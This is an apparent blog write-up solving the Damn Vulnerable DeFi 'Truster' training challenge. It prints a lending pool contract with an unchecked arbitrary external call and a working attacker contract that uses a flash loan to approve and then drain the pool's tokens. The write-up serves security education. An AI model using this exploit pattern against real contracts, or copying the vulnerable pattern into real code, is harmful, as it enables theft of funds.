Damn Vulnerable DeFi - Truster
June 20, 2023•329 words
The contract
There is a pool containing 1 million DVT. The task is to drain it starting from nothing.
The solution
The contract is extremely short, here it is:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
The only relevant line in the code is the fact that it allows to use "functionCall" without performing any check, either on who is calling the functionality or on what kind of function will be executed (which target, which data).
This means we can create a new contract that will interact with this one to exploit it. The attack vector is the following:
- the attacker contract calls the "flashLoan" function. As the code to execute inside "functionCall", we use the "approve" function of ERC20 tokens like the DVT. The parameters for the "approve" function are the attacker contract address and the total balance of the lending pool.
- Once the code executes, we are now allowed to transfer the total pool balance to the attacker contract address, effectively draining the pool
This is the smart contract that will perform the attack:
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";
contract trusterSolve {
function attack(DamnValuableToken token, TrusterLenderPool pool) public {
uint balance = token.balanceOf(address(pool));
bytes memory exploit = abi.encodeWithSignature("approve(address,uint256)", address(this), balance);
pool.flashLoan(0, msg.sender, address(token), exploit);
token.transferFrom(address(pool), msg.sender, balance);
}
}
In order to run the tests, in the challenge file we can deploy the attacking contract and call its main function:
exploitContractFactory = await ethers.getContractFactory("trusterSolve", player);
exploitContract = await exploitContractFactory.deploy();
await exploitContract.connect(player).attack(token.address, pool.address);
Merry hacking ;)